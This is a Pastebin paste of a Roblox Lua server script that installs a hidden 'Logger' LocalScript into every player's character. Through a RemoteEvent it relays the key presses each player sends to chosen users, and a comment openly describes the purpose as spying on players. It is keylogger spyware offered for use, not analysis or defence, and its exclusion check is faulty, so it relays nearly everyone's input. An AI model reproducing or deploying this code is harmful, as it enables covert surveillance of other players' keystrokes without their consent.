Advertisement
Guest User

Untitled

a guest
Oct 18th, 2018
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.25 KB | None | 0 0
  1. local DoNotSpyOn = {"mom","dad"} --Add here usernames or userids of players you want to not spy on.. the logger will send to them the logs by the way
  2.  
  3. local function Install()
  4.     if script.Parent ~= game:GetService("ServerScriptService") then
  5.         script.Parent = game:GetService("ServerScriptService")
  6.     end
  7.    
  8.     if script:FindFirstChild("LocalScript") then
  9.         script.LocalScript.Name = "Logger"
  10.         wait()
  11.         script:WaitForChild("Logger").Disabled = false
  12.         script:WaitForChild("Logger").Parent = game:GetService("StarterPlayer"):WaitForChild("StarterCharacterScripts")
  13.        
  14.     else
  15.         warn("Please create a LocalScript inside the Script")
  16.     end
  17.    
  18.     script.Name = "Receiver"
  19.    
  20.     local _LogsEvent = Instance.new("RemoteEvent")
  21.     _LogsEvent.Name = "_LogsEvent"
  22.     _LogsEvent.Parent = game:GetService("ReplicatedStorage")
  23. end
  24.  
  25.  
  26. Install()
  27.  
  28.  
  29. game:GetService("ReplicatedStorage"):WaitForChild("_LogsEvent").OnServerEvent:Connect(function(Player, Key)
  30.     for i,v in pairs(DoNotSpyOn) do
  31.         if Player.Name:lower() ~= v:lower() or Player.UserId ~= tonumber(v) then
  32.             if game:GetService("Players"):FindFirstChild(v) then
  33.                 game:GetService("ReplicatedStorage"):WaitForChild("_LogsEvent"):FireClient(game:GetService("Players"):FindFirstChild(v), Player, Key)
  34.             end
  35.         end
  36.     end
  37. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement